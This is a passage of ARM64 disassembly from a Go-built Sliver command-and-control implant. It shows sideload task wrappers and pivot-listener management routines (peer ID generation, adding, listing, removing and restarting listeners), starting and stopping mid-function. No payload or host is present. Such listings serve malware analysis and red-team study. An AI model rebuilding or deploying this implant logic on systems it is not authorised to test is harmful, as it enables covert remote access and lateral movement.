    0042a968str x0, [sp+296]
    0042a96cldr x5, [sp+304]
    0042a970ldrsb x27, [x5]
    0042a974adrp x6, 0x1cb000
    0042a978add x6, x6, 2944
    0042a97cstr x6, [x5]
    0042a980adrp x27, 0x621000
    0042a984ldr w6, [x27+3056]
    0042a988cbz w6, 0x42a990
    0042a98cb 0x42a994
    0042a990
    0042a990loc_42a990:
    0042a990b 0x42a9a8
    0042a994
    0042a994loc_42a994:
    0042a994bl runtime.gcWriteBarrier2
    0042a998str x0, [x25]
    0042a99cldr x6, [x5+8]
    0042a9a0str x6, [x25+8]
    0042a9a4b 0x42a9a8
    0042a9a8
    0042a9a8loc_42a9a8:
    0042a9a8str x0, [x5+8]
    0042a9acldr x2, [sp+304]
    0042a9b0ldrsb x27, [x2]
    0042a9b4b 0x42a9b8
    0042a9b8
    0042a9b8loc_42a9b8:
    0042a9b8str x2, [sp+312]
    0042a9bcorr x4, xzr, 1
    0042a9c0str x4, [sp+320]
    0042a9c4str x4, [sp+328]
    0042a9c8adrp x0, 0x28b000
    0042a9ccadd x0, x0, 1203
    0042a9d0movz x1, 17
    0042a9d4mov x3, x4
    0042a9d8bl log.Printf
    0042a9dcldr x0, [sp+1016]
    0042a9e0bl bytes.(*Buffer).String
    0042a9e4str x0, [sp+824]
    0042a9e8str x1, [sp+832]
    0042a9ecstr x0, [sp+160]
    0042a9f0str x1, [sp+168]
    0042a9f4stp xzr, xzr, [sp+144]
    0042a9f8ldr x0, [sp+160]
    0042a9fcldr x1, [sp+168]
    0042aa00mov x2, xzr
    0042aa04mov x3, xzr
    0042aa08ldp x29, x30, [sp-8]
    0042aa0cadd sp, sp, 1040
    0042aa10ret x30
    0042aa14
    0042aa14loc_42aa14:
    0042aa14stp x0, x1, [sp+8]
    0042aa18stp x2, x3, [sp+24]
    0042aa1cstr x4, [sp+40]
    0042aa20str w5, [sp+48]
    0042aa24stp x6, x7, [sp+56]
    0042aa28stp x8, x9, [sp+72]
    0042aa2cstp x10, x11, [sp+88]
    0042aa30strb w12, [sp+104]
    0042aa34mov x3, x30
    0042aa38bl runtime.morestack_noctxt.abi0
    0042aa3cldp x0, x1, [sp+8]
    0042aa40ldp x2, x3, [sp+24]
    0042aa44ldr x4, [sp+40]
    0042aa48ldr w5, [sp+48]
    0042aa4cldp x6, x7, [sp+56]
    0042aa50ldp x8, x9, [sp+72]
    0042aa54ldp x10, x11, [sp+88]
    0042aa58ldrb w12, [sp+104]
    0042aa5cb 0x429dc0
    00429dc0
    0042aa60
    0042aa60github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1(void)
    0042aa60ldr x16, [x28+16]
    0042aa64subs xzr, sp, x16
    0042aa68b.ls 0x42aaa4
    0042aa6cstr x30, [sp-48]!
    0042aa70stur x29, [sp-8]
    0042aa74sub x29, sp, 8
    0042aa78ldr x16, [x28+32]
    0042aa7ccbnz x16, 0x42aab0
    0042aa80
    0042aa80loc_42aa80:
    0042aa80ldr x2, [x26+8]
    0042aa84str x2, [sp+32]
    0042aa88ldr x1, [x26+16]
    0042aa8cstr x1, [sp+24]
    0042aa90ldr x0, [sp+32]
    0042aa94bl github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait
    0042aa98ldur x29, [sp-8]
    0042aa9cldr x30, [sp], 48
    0042aaa0ret x30
    0042aaa4
    0042aaa4loc_42aaa4:
    0042aaa4mov x3, x30
    0042aaa8bl runtime.morestack.abi0
    0042aaacb 0x42aa60
    0042aab0
    0042aab0loc_42aab0:
    0042aab0ldr x17, [x16]
    0042aab4add x20, sp, 56
    0042aab8subs xzr, x20, x17
    0042aabcb.ne 0x42aa80
    0042aac0add x20, sp, 8
    0042aac4str x20, [x16]
    0042aac8b 0x42aa80
    0042aaccudf 0
    0042aa60
    0042aad0
    0042aad0github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1(func() fPtr)
    0042aad0ldr x16, [x28+16]
    0042aad4subs xzr, sp, x16
    0042aad8b.ls 0x42ab04
    0042aadcstr x30, [sp-16]!
    0042aae0stur x29, [sp-8]
    0042aae4sub x29, sp, 8
    0042aae8str x0, [sp+24]
    0042aaecldr x1, [x0]
    0042aaf0mov x26, x0
    0042aaf4blr x1
    0042aaf8ldur x29, [sp-8]
    0042aafcldr x30, [sp], 16
    0042ab00ret x30
    0042ab04
    0042ab04loc_42ab04:
    0042ab04str x0, [sp+8]
    0042ab08mov x3, x30
    0042ab0cbl runtime.morestack_noctxt.abi0
    0042ab10ldr x0, [sp+8]
    0042ab14b 0x42aad0
    0042ab18udf 0
    0042ab1cudf 0
    0042aad0
    0042ab20
    0042ab20github.com/bishopfox/sliver/implant/sliver/pivots.init: ; void github.com/bishopfox/sliver/implant/sliver/pivots.init(void)
    0042ab20ldr x16, [x28+16]
    0042ab24subs xzr, sp, x16
    0042ab28b.ls 0x42ac80
    0042ab2cstr x30, [sp-64]!
    0042ab30stur x29, [sp-8]
    0042ab34sub x29, sp, 8
    0042ab38adrp x0, 0x28a000
    0042ab3cadd x0, x0, 927
    0042ab40orr x1, xzr, 15
    0042ab44bl errors.New
    0042ab48adrp x27, 0x5f7000
    0042ab4cstr x0, [x27+1360]
    0042ab50adrp x27, 0x621000
    0042ab54ldr w2, [x27+3056]
    0042ab58cbz w2, 0x42ab60
    0042ab5cb 0x42ab64
    0042ab60
    0042ab60loc_42ab60:
    0042ab60b 0x42ab7c
    0042ab64
    0042ab64loc_42ab64:
    0042ab64bl runtime.gcWriteBarrier2
    0042ab68str x1, [x25]
    0042ab6cadrp x27, 0x5f7000
    0042ab70ldr x2, [x27+1368]
    0042ab74str x2, [x25+8]
    0042ab78b 0x42ab7c
    0042ab7c
    0042ab7cloc_42ab7c:
    0042ab7cadrp x27, 0x5f7000
    0042ab80str x1, [x27+1368]
    0042ab84adrp x0, 0x28c000
    0042ab88add x0, x0, 510
    0042ab8cmovz x1, 19
    0042ab90bl errors.New
    0042ab94adrp x27, 0x5f7000
    0042ab98str x0, [x27+1376]
    0042ab9cadrp x27, 0x621000
    0042aba0ldr w2, [x27+3056]
    0042aba4cbz w2, 0x42abac
    0042aba8b 0x42abb0
    0042abac
    0042abacloc_42abac:
    0042abacb 0x42abc8
    0042abb0
    0042abb0loc_42abb0:
    0042abb0bl runtime.gcWriteBarrier2
    0042abb4str x1, [x25]
    0042abb8adrp x27, 0x5f7000
    0042abbcldr x0, [x27+1384]
    0042abc0str x0, [x25+8]
    0042abc4b 0x42abc8
    0042abc8
    0042abc8loc_42abc8:
    0042abc8adrp x27, 0x5f7000
    0042abccstr x1, [x27+1384]
    0042abd0bl github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID
    0042abd4adrp x27, 0x621000
    0042abd8str x0, [x27+2144]
    0042abdcbl runtime.makemap_small
    0042abe0str x0, [sp+48]
    0042abe4adrp x0, 0x2ae000
    0042abe8add x0, x0, 3152
    0042abecstr x0, [sp+40]
    0042abf0ldr x1, [sp+48]
    0042abf4adrp x0, 0x1f9000
    0042abf8add x0, x0, 3296
    0042abfcmov x2, xzr
    0042ac00bl runtime.mapassign_fast32
    0042ac04str x0, [sp+32]
    0042ac08ldrsb x27, [x0]
    0042ac0cldr x1, [sp+40]
    0042ac10adrp x27, 0x621000
    0042ac14ldr w2, [x27+3056]
    0042ac18cbz w2, 0x42ac20
    0042ac1cb 0x42ac24
    0042ac20
    0042ac20loc_42ac20:
    0042ac20b 0x42ac38
    0042ac24
    0042ac24loc_42ac24:
    0042ac24bl runtime.gcWriteBarrier2
    0042ac28str x1, [x25]
    0042ac2cldr x2, [x0]
    0042ac30str x2, [x25+8]
    0042ac34b 0x42ac38
    0042ac38
    0042ac38loc_42ac38:
    0042ac38str x1, [x0]
    0042ac3cldr x0, [sp+48]
    0042ac40adrp x27, 0x621000
    0042ac44ldr w1, [x27+3056]
    0042ac48cbz w1, 0x42ac50
    0042ac4cb 0x42ac54
    0042ac50
    0042ac50loc_42ac50:
    0042ac50b 0x42ac6c
    0042ac54
    0042ac54loc_42ac54:
    0042ac54bl runtime.gcWriteBarrier2
    0042ac58str x0, [x25]
    0042ac5cadrp x27, 0x5f6000
    0042ac60ldr x1, [x27+3208]
    0042ac64str x1, [x25+8]
    0042ac68b 0x42ac6c
    0042ac6c
    0042ac6cloc_42ac6c:
    0042ac6cadrp x27, 0x5f6000
    0042ac70str x0, [x27+3208]
    0042ac74ldur x29, [sp-8]
    0042ac78ldr x30, [sp], 64
    0042ac7cret x30
    0042ac80
    0042ac80loc_42ac80:
    0042ac80mov x3, x30
    0042ac84bl runtime.morestack_noctxt.abi0
    0042ac88b 0x42ab20
    0042ac8cudf 0
    0042ab20
    0042ac90
    0042ac90github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID(void)
    0042ac90ldr x16, [x28+16]
    0042ac94sub x17, sp, 64
    0042ac98subs xzr, x17, x16
    0042ac9cb.ls 0x42ad9c
    0042aca0str x30, [sp-192]!
    0042aca4stur x29, [sp-8]
    0042aca8sub x29, sp, 8
    0042acacstr xzr, [sp+40]
    0042acb0adrp x0, 0x1cb000
    0042acb4add x0, x0, 3072
    0042acb8orr x1, xzr, 8
    0042acbcmov x2, x1
    0042acc0bl runtime.makeslice
    0042acc4str x0, [sp+104]
    0042acc8orr x3, xzr, 8
    0042acccstr x3, [sp+112]
    0042acd0str x3, [sp+120]
    0042acd4stp xzr, xzr, [sp+152]
    0042acd8ldr x0, [sp+104]
    0042acdcldr x1, [sp+112]
    0042ace0ldr x2, [sp+120]
    0042ace4bl crypto/rand.Read
    0042ace8str x0, [sp+64]
    0042acecstr x1, [sp+152]
    0042acf0str x2, [sp+160]
    0042acf4ldr x3, [sp+64]
    0042acf8str x3, [sp+72]
    0042acfcstr x1, [sp+168]
    0042ad00str x2, [sp+176]
    0042ad04str x1, [sp+88]
    0042ad08str x2, [sp+96]
    0042ad0ccbnz x1, 0x42ad14
    0042ad10b 0x42ad3c
    0042ad14
    0042ad14loc_42ad14:
    0042ad14bl time.Now
    0042ad18str x0, [sp+128]
    0042ad1cstr x1, [sp+136]
    0042ad20str x2, [sp+144]
    0042ad24bl time.Time.UnixNano
    0042ad28str x0, [sp+56]
    0042ad2cstr x0, [sp+40]
    0042ad30ldur x29, [sp-8]
    0042ad34ldr x30, [sp], 192
    0042ad38ret x30
    0042ad3c
    0042ad3cloc_42ad3c:
    0042ad3cldr x0, [sp+104]
    0042ad40ldr x1, [sp+112]
    0042ad44ldr x2, [sp+120]
    0042ad48bl encoding/binary.littleEndian.Uint64
    0042ad4cstr x0, [sp+80]
    0042ad50str x0, [sp+48]
    0042ad54ldr x3, [sp+48]
    0042ad58cbz x3, 0x42ad60
    0042ad5cb 0x42ad88
    0042ad60
    0042ad60loc_42ad60:
    0042ad60bl time.Now
    0042ad64str x0, [sp+128]
    0042ad68str x1, [sp+136]
    0042ad6cstr x2, [sp+144]
    0042ad70bl time.Time.UnixNano
    0042ad74str x0, [sp+56]
    0042ad78str x0, [sp+40]
    0042ad7cldur x29, [sp-8]
    0042ad80ldr x30, [sp], 192
    0042ad84ret x30
    0042ad88
    0042ad88loc_42ad88:
    0042ad88ldr x0, [sp+48]
    0042ad8cstr x0, [sp+40]
    0042ad90ldur x29, [sp-8]
    0042ad94ldr x30, [sp], 192
    0042ad98ret x30
    0042ad9c
    0042ad9cloc_42ad9c:
    0042ad9cmov x3, x30
    0042ada0bl runtime.morestack_noctxt.abi0
    0042ada4b 0x42ac90
    0042ada8udf 0
    0042adacudf 0
    0042ac90
    0042adb0
    0042adb0github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners(void)
    0042adb0ldr x16, [x28+16]
    0042adb4sub x17, sp, 16
    0042adb8subs xzr, x17, x16
    0042adbcb.ls 0x42ae78
    0042adc0str x30, [sp-144]!
    0042adc4stur x29, [sp-8]
    0042adc8sub x29, sp, 8
    0042adccstr xzr, [sp+32]
    0042add0stp xzr, xzr, [sp+40]
    0042add4adrp x2, 0x621000
    0042add8add x2, x2, 1504
    0042addcstr x2, [sp+88]
    0042ade0b 0x42ade4
    0042ade4
    0042ade4loc_42ade4:
    0042ade4str x2, [sp+96]
    0042ade8stp xzr, xzr, [sp+104]
    0042adecstr x2, [sp+56]
    0042adf0stp xzr, xzr, [sp+64]
    0042adf4stp xzr, xzr, [sp+120]
    0042adf8add x1, sp, 120
    0042adfcstr x1, [sp+80]
    0042ae00ldrsb x27, [x1]
    0042ae04adrp x2, 0
    0042ae08add x2, x2, 3728
    0042ae0cstr x2, [x1]
    0042ae10ldrsb x27, [x1]
    0042ae14adrp x27, 0x621000
    0042ae18ldr w2, [x27+3056]
    0042ae1ccbz w2, 0x42ae24
    0042ae20b 0x42ae28
    0042ae24
    0042ae24loc_42ae24:
    0042ae24b 0x42ae40
    0042ae28
    0042ae28loc_42ae28:
    0042ae28bl runtime.gcWriteBarrier2
    0042ae2cadd x2, sp, 56
    0042ae30str x2, [x25]
    0042ae34ldr x3, [x1+8]
    0042ae38str x3, [x25+8]
    0042ae3cb 0x42ae40
    0042ae40
    0042ae40loc_42ae40:
    0042ae40add x2, sp, 56
    0042ae44str x2, [x1+8]
    0042ae48adrp x27, 0x5e3000
    0042ae4cldr x0, [x27+16]
    0042ae50bl sync.(*Map).Range
    0042ae54ldr x0, [sp+56]
    0042ae58ldr x1, [sp+64]
    0042ae5cldr x2, [sp+72]
    0042ae60str x0, [sp+32]
    0042ae64str x1, [sp+40]
    0042ae68str x2, [sp+48]
    0042ae6cldur x29, [sp-8]
    0042ae70ldr x30, [sp], 144
    0042ae74ret x30
    0042ae78
    0042ae78loc_42ae78:
    0042ae78mov x3, x30
    0042ae7cbl runtime.morestack_noctxt.abi0
    0042ae80b 0x42adb0
    0042ae84udf 0
    0042ae88udf 0
    0042ae8cudf 0
    0042adb0
    0042ae90
    0042ae90github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1(interface {} key, interface {} value)
    0042ae90ldr x16, [x28+16]
    0042ae94subs xzr, sp, x16
    0042ae98b.ls 0x42afb8
    0042ae9cstr x30, [sp-128]!
    0042aea0stur x29, [sp-8]
    0042aea4sub x29, sp, 8
    0042aea8str x0, [sp+136]
    0042aeacstr x1, [sp+144]
    0042aeb0str x2, [sp+152]
    0042aeb4str x3, [sp+160]
    0042aeb8ldr x3, [x26+8]
    0042aebcstr x3, [sp+112]
    0042aec0strb wzr, [sp+95]
    0042aec4ldr x0, [sp+152]
    0042aec8ldr x3, [sp+160]
    0042aeccadrp x1, 0x1fe000
    0042aed0add x1, x1, 2528
    0042aed4subs xzr, x0, x1
    0042aed8b.eq 0x42aee0
    0042aedcb 0x42afa8
    0042aee0
    0042aee0loc_42aee0:
    0042aee0str x3, [sp+96]
    0042aee4mov x0, x3
    0042aee8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf
    0042aeecstr x0, [sp+104]
    0042aef0ldr x1, [sp+112]
    0042aef4ldr x2, [x1+16]
    0042aef8ldr x0, [x1]
    0042aefcldr x1, [x1+8]
    0042af00add x1, x1, 1
    0042af04subs xzr, x2, x1
    0042af08b.hs 0x42af10
    0042af0cb 0x42af14
    0042af10
    0042af10loc_42af10:
    0042af10b 0x42af28
    0042af14
    0042af14loc_42af14:
    0042af14orr x3, xzr, 1
    0042af18adrp x4, 0x250000
    0042af1cadd x4, x4, 1824
    0042af20bl runtime.growslice
    0042af24b 0x42af28
    0042af28
    0042af28loc_42af28:
    0042af28sub x3, x1, 1
    0042af2cldr x4, [sp+104]
    0042af30adrp x27, 0x621000
    0042af34ldr w5, [x27+3056]
    0042af38cbz w5, 0x42af40
    0042af3cb 0x42af44
    0042af40
    0042af40loc_42af40:
    0042af40b 0x42af58
    0042af44
    0042af44loc_42af44:
    0042af44bl runtime.gcWriteBarrier2
    0042af48str x4, [x25]
    0042af4cldr x5, [x0+3*x3]
    0042af50str x5, [x25+8]
    0042af54b 0x42af58
    0042af58
    0042af58loc_42af58:
    0042af58str x4, [x0+3*x3]
    0042af5cldr x3, [sp+112]
    0042af60str x1, [x3+8]
    0042af64str x2, [x3+16]
    0042af68adrp x27, 0x621000
    0042af6cldr w1, [x27+3056]
    0042af70cbz w1, 0x42af78
    0042af74b 0x42af7c
    0042af78
    0042af78loc_42af78:
    0042af78b 0x42af90
    0042af7c
    0042af7cloc_42af7c:
    0042af7cbl runtime.gcWriteBarrier2
    0042af80str x0, [x25]
    0042af84ldr x1, [x3]
    0042af88str x1, [x25+8]
    0042af8cb 0x42af90
    0042af90
    0042af90loc_42af90:
    0042af90str x0, [x3]
    0042af94orr x0, xzr, 1
    0042af98strb w0, [sp+95]
    0042af9cldur x29, [sp-8]
    0042afa0ldr x30, [sp], 128
    0042afa4ret x30
    0042afa8
    0042afa8loc_42afa8:
    0042afa8adrp x2, 0x1e0000
    0042afacadd x2, x2, 3520
    0042afb0bl runtime.panicdottypeE
    0042afb4hint
    0042afb8
    0042afb8loc_42afb8:
    0042afb8stp x0, x1, [sp+8]
    0042afbcstp x2, x3, [sp+24]
    0042afc0mov x3, x30
    0042afc4bl runtime.morestack.abi0
    0042afc8ldp x0, x1, [sp+8]
    0042afccldp x2, x3, [sp+24]
    0042afd0b 0x42ae90
    0042afd4udf 0
    0042afd8udf 0
    0042afdcudf 0
    0042ae90
    0042afe0
    0042afe0github.com/bishopfox/sliver/implant/sliver/pivots.AddListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.AddListener(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * listener)
    0042afe0ldr x16, [x28+16]
    0042afe4sub x17, sp, 64
    0042afe8subs xzr, x17, x16
    0042afecb.ls 0x42b174
    0042aff0str x30, [sp-192]!
    0042aff4stur x29, [sp-8]
    0042aff8sub x29, sp, 8
    0042affcstr x0, [sp+200]
    0042b000stp xzr, xzr, [sp+168]
    0042b004add x1, sp, 168
    0042b008str x1, [sp+128]
    0042b00cadrp x27, 0x620000
    0042b010ldr x0, [x27+2144]
    0042b014bl runtime.convT64
    0042b018str x0, [sp+120]
    0042b01cldr x1, [sp+128]
    0042b020ldrsb x27, [x1]
    0042b024adrp x2, 0x1ca000
    0042b028add x2, x2, 3392
    0042b02cstr x2, [x1]
    0042b030adrp x27, 0x620000
    0042b034ldr w2, [x27+3056]
    0042b038cbz w2, 0x42b040
    0042b03cb 0x42b044
    0042b040
    0042b040loc_42b040:
    0042b040b 0x42b058
    0042b044
    0042b044loc_42b044:
    0042b044bl runtime.gcWriteBarrier2
    0042b048str x0, [x25]
    0042b04cldr x5, [x1+8]
    0042b050str x5, [x25+8]
    0042b054b 0x42b058
    0042b058
    0042b058loc_42b058:
    0042b058str x0, [x1+8]
    0042b05cldr x2, [sp+128]
    0042b060ldrsb x27, [x2]
    0042b064b 0x42b068
    0042b068
    0042b068loc_42b068:
    0042b068str x2, [sp+136]
    0042b06corr x4, xzr, 1
    0042b070str x4, [sp+144]
    0042b074str x4, [sp+152]
    0042b078adrp x0, 0x28c000
    0042b07cadd x0, x0, 2952
    0042b080movz x1, 22
    0042b084mov x3, x4
    0042b088bl log.Printf
    0042b08cstp xzr, xzr, [sp+168]
    0042b090add x5, sp, 168
    0042b094str x5, [sp+88]
    0042b098ldr x5, [sp+200]
    0042b09cldrsb x27, [x5]
    0042b0a0ldr x0, [x5+32]
    0042b0a4ldr x1, [x5+40]
    0042b0a8str x0, [sp+72]
    0042b0acstr x1, [sp+80]
    0042b0b0bl runtime.convTstring
    0042b0b4str x0, [sp+64]
    0042b0b8ldr x5, [sp+88]
    0042b0bcldrsb x27, [x5]
    0042b0c0adrp x6, 0x1ca000
    0042b0c4add x6, x6, 2944
    0042b0c8str x6, [x5]
    0042b0ccadrp x27, 0x620000
    0042b0d0ldr w6, [x27+3056]
    0042b0d4cbz w6, 0x42b0dc
    0042b0d8b 0x42b0e0
    0042b0dc
    0042b0dcloc_42b0dc:
    0042b0dcb 0x42b0f4
    0042b0e0
    0042b0e0loc_42b0e0:
    0042b0e0bl runtime.gcWriteBarrier2
    0042b0e4str x0, [x25]
    0042b0e8ldr x6, [x5+8]
    0042b0ecstr x6, [x25+8]
    0042b0f0b 0x42b0f4
    0042b0f4
    0042b0f4loc_42b0f4:
    0042b0f4str x0, [x5+8]
    0042b0f8ldr x2, [sp+88]
    0042b0fcldrsb x27, [x2]
    0042b100b 0x42b104
    0042b104
    0042b104loc_42b104:
    0042b104str x2, [sp+96]
    0042b108orr x4, xzr, 1
    0042b10cstr x4, [sp+104]
    0042b110str x4, [sp+112]
    0042b114adrp x0, 0x28f000
    0042b118add x0, x0, 4064
    0042b11cmovz x1, 27
    0042b120mov x3, x4
    0042b124bl log.Printf
    0042b128ldr x5, [sp+200]
    0042b12cldrsb x27, [x5]
    0042b130ldr w0, [x5]
    0042b134str w0, [sp+60]
    0042b138bl runtime.convT32
    0042b13cstr x0, [sp+160]
    0042b140adrp x27, 0x5e2000
    0042b144ldr x5, [x27+16]
    0042b148ldr x4, [sp+200]
    0042b14cadrp x1, 0x1ca000
    0042b150add x1, x1, 3328
    0042b154mov x2, x0
    0042b158adrp x3, 0x1fd000
    0042b15cadd x3, x3, 2528
    0042b160mov x0, x5
    0042b164bl sync.(*Map).Store
    0042b168ldur x29, [sp-8]
    0042b16cldr x30, [sp], 192
    0042b170ret x30
    0042b174
    0042b174loc_42b174:
    0042b174str x0, [sp+8]
    0042b178mov x3, x30
    0042b17cbl runtime.morestack_noctxt.abi0
    0042b180ldr x0, [sp+8]
    0042b184b 0x42afe0
    0042b188udf 0
    0042b18cudf 0
    0042afe0
    0042b190
    0042b190github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener(uint32 id)
    0042b190ldr x16, [x28+16]
    0042b194subs xzr, sp, x16
    0042b198b.ls 0x42b260
    0042b19cstr x30, [sp-112]!
    0042b1a0stur x29, [sp-8]
    0042b1a4sub x29, sp, 8
    0042b1a8str w0, [sp+120]
    0042b1acstp xzr, xzr, [sp+72]
    0042b1b0ldr w3, [sp+120]
    0042b1b4str w3, [sp+44]
    0042b1b8adrp x27, 0x5e2000
    0042b1bcldr x0, [x27+16]
    0042b1c0adrp x1, 0x1ca000
    0042b1c4add x1, x1, 3328
    0042b1c8add x2, sp, 44
    0042b1ccbl sync.(*Map).LoadAndDelete
    0042b1d0str x0, [sp+72]
    0042b1d4str x1, [sp+80]
    0042b1d8strb w2, [sp+42]
    0042b1dcldr x3, [sp+72]
    0042b1e0ldr x4, [sp+80]
    0042b1e4str x3, [sp+88]
    0042b1e8str x4, [sp+96]
    0042b1ecldrb w3, [sp+42]
    0042b1f0strb w3, [sp+43]
    0042b1f4ldr x3, [sp+88]
    0042b1f8ldr x4, [sp+96]
    0042b1fcstr x3, [sp+48]
    0042b200str x4, [sp+56]
    0042b204ldrb w3, [sp+43]
    0042b208strb w3, [sp+41]
    0042b20ctbnz w3, 0, 0x42b214
    0042b210b 0x42b240
    0042b214
    0042b214loc_42b214:
    0042b214ldr x0, [sp+48]
    0042b218ldr x3, [sp+56]
    0042b21cadrp x1, 0x1fd000
    0042b220add x1, x1, 2528
    0042b224subs xzr, x0, x1
    0042b228b.eq 0x42b230
    0042b22cb 0x42b250
    0042b230
    0042b230loc_42b230:
    0042b230str x3, [sp+64]
    0042b234mov x0, x3
    0042b238bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop
    0042b23cb 0x42b244
    0042b240
    0042b240loc_42b240:
    0042b240b 0x42b244
    0042b244
    0042b244loc_42b244:
    0042b244ldur x29, [sp-8]
    0042b248ldr x30, [sp], 112
    0042b24cret x30
    0042b250
    0042b250loc_42b250:
    0042b250adrp x2, 0x1df000
    0042b254add x2, x2, 3520
    0042b258bl runtime.panicdottypeE
    0042b25chint
    0042b260
    0042b260loc_42b260:
    0042b260str w0, [sp+8]
    0042b264mov x3, x30
    0042b268bl runtime.morestack_noctxt.abi0
    0042b26cldr w0, [sp+8]
    0042b270b 0x42b190
    0042b274udf 0
    0042b278udf 0
    0042b27cudf 0
    0042b190
    0042b280
    0042b280github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners(chan<- *github.com/bishopfox/sliver/protobuf/sliverpb.Envelope send)
    0042b280ldr x16, [x28+16]
    0042b284subs xzr, sp, x16
    0042b288b.ls 0x42b388
    0042b28cstr x30, [sp-80]!
    0042b290stur x29, [sp-8]
    0042b294sub x29, sp, 8
    0042b298str x0, [sp+88]
    0042b29cstp xzr, xzr, [sp+56]
    0042b2a0add x1, sp, 56
    0042b2a4str x1, [sp+48]
    0042b2a8ldrsb x27, [x1]
    0042b2acadrp x2, 0
    0042b2b0add x2, x2, 928
    0042b2b4str x2, [x1]
    0042b2b8ldrsb x27, [x1]
    0042b2bcldr x2, [sp+88]
    0042b2c0adrp x27, 0x620000
    0042b2c4ldr w3, [x27+3056]
    0042b2c8cbz w3, 0x42b2d0
    0042b2ccb 0x42b2d4
    0042b2d0
    0042b2d0loc_42b2d0:
    0042b2d0b 0x42b2e8
    0042b2d4
    0042b2d4loc_42b2d4:
    0042b2d4bl runtime.gcWriteBarrier2
    0042b2d8str x2, [x25]
    0042b2dcldr x3, [x1+8]
    0042b2e0str x3, [x25+8]
    0042b2e4b 0x42b2e8
    0042b2e8
    0042b2e8loc_42b2e8:
    0042b2e8str x2, [x1+8]
    0042b2ecadrp x27, 0x5e2000
    0042b2f0ldr x0, [x27+24]
    0042b2f4bl sync.(*Map).Range
    0042b2f8adrp x0, 0x215000
    0042b2fcadd x0, x0, 2144
    0042b300bl runtime.newobject
    0042b304str x0, [sp+40]
    0042b308adrp x27, 0x620000
    0042b30cldr w2, [x27+3056]
    0042b310cbz w2, 0x42b318
    0042b314b 0x42b31c
    0042b318
    0042b318loc_42b318:
    0042b318b 0x42b338
    0042b31c
    0042b31cloc_42b31c:
    0042b31cstr x0, [sp+32]
    0042b320mov x1, x0
    0042b324adrp x0, 0x215000
    0042b328add x0, x0, 2144
    0042b32cbl runtime.wbZero
    0042b330ldr x0, [sp+32]
    0042b334b 0x42b338
    0042b338
    0042b338loc_42b338:
    0042b338stp xzr, xzr, [x0]
    0042b33cstp xzr, xzr, [x0+16]
    0042b340stp xzr, xzr, [x0+32]
    0042b344ldr x0, [sp+40]
    0042b348adrp x27, 0x620000
    0042b34cldr w1, [x27+3056]
    0042b350cbz w1, 0x42b358
    0042b354b 0x42b35c
    0042b358
    0042b358loc_42b358:
    0042b358b 0x42b374
    0042b35c
    0042b35cloc_42b35c:
    0042b35cbl runtime.gcWriteBarrier2
    0042b360str x0, [x25]
    0042b364adrp x27, 0x5e2000
    0042b368ldr x1, [x27+24]
    0042b36cstr x1, [x25+8]
    0042b370b 0x42b374
    0042b374
    0042b374loc_42b374:
    0042b374adrp x27, 0x5e2000
    0042b378str x0, [x27+24]
    0042b37cldur x29, [sp-8]
    0042b380ldr x30, [sp], 80
    0042b384ret x30
    0042b388
    0042b388loc_42b388:
    0042b388str x0, [sp+8]
    0042b38cmov x3, x30
    0042b390bl runtime.morestack_noctxt.abi0
    0042b394ldr x0, [sp+8]
    0042b398b 0x42b280
    0042b39cudf 0
    0042b280
    0042b3a0
    0042b3a0github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1(interface {} key, interface {} value)
    0042b3a0ldr x16, [x28+16]
    0042b3a4sub x17, sp, 192
    0042b3a8subs xzr, x17, x16
    0042b3acb.ls 0x42b658
    0042b3b0sub x20, sp, 320
    0042b3b4stp x29, x30, [x20-8]
    0042b3b8add sp, x20, 0
    0042b3bcsub x29, sp, 8
    0042b3c0str x0, [sp+328]
    0042b3c4str x1, [sp+336]
    0042b3c8str x2, [sp+344]
    0042b3ccstr x3, [sp+352]
    0042b3d0ldr x3, [x26+8]
    0042b3d4str x3, [sp+72]
    0042b3d8strb wzr, [sp+56]
    0042b3dcldr x0, [sp+344]
    0042b3e0ldr x3, [sp+352]
    0042b3e4adrp x1, 0x1fd000
    0042b3e8add x1, x1, 2528
    0042b3ecsubs xzr, x0, x1
    0042b3f0b.eq 0x42b3f8
    0042b3f4b 0x42b648
    0042b3f8
    0042b3f8loc_42b3f8:
    0042b3f8str x3, [sp+64]
    0042b3fcstr xzr, [sp+272]
    0042b400ldr x3, [sp+64]
    0042b404ldrsb x27, [x3]
    0042b408ldrsw x3, [x3+4]
    0042b40cstr w3, [sp+60]
    0042b410ldr w2, [sp+60]
    0042b414adrp x27, 0x5f5000
    0042b418ldr x1, [x27+3208]
    0042b41cadrp x0, 0x1f8000
    0042b420add x0, x0, 3296
    0042b424bl runtime.mapaccess2_fast32
    0042b428str x0, [sp+224]
    0042b42cstrb w1, [sp+59]
    0042b430ldr x3, [sp+224]
    0042b434ldr x3, [x3]
    0042b438str x3, [sp+272]
    0042b43cstr x3, [sp+112]
    0042b440ldrb w3, [sp+59]
    0042b444strb w3, [sp+58]
    0042b448ldr x3, [sp+112]
    0042b44cstr x3, [sp+104]
    0042b450ldrb w3, [sp+58]
    0042b454strb w3, [sp+57]
    0042b458tbnz w3, 0, 0x42b460
    0042b45cb 0x42b630
    0042b460
    0042b460loc_42b460:
    0042b460str xzr, [sp+264]
    0042b464stp xzr, xzr, [sp+248]
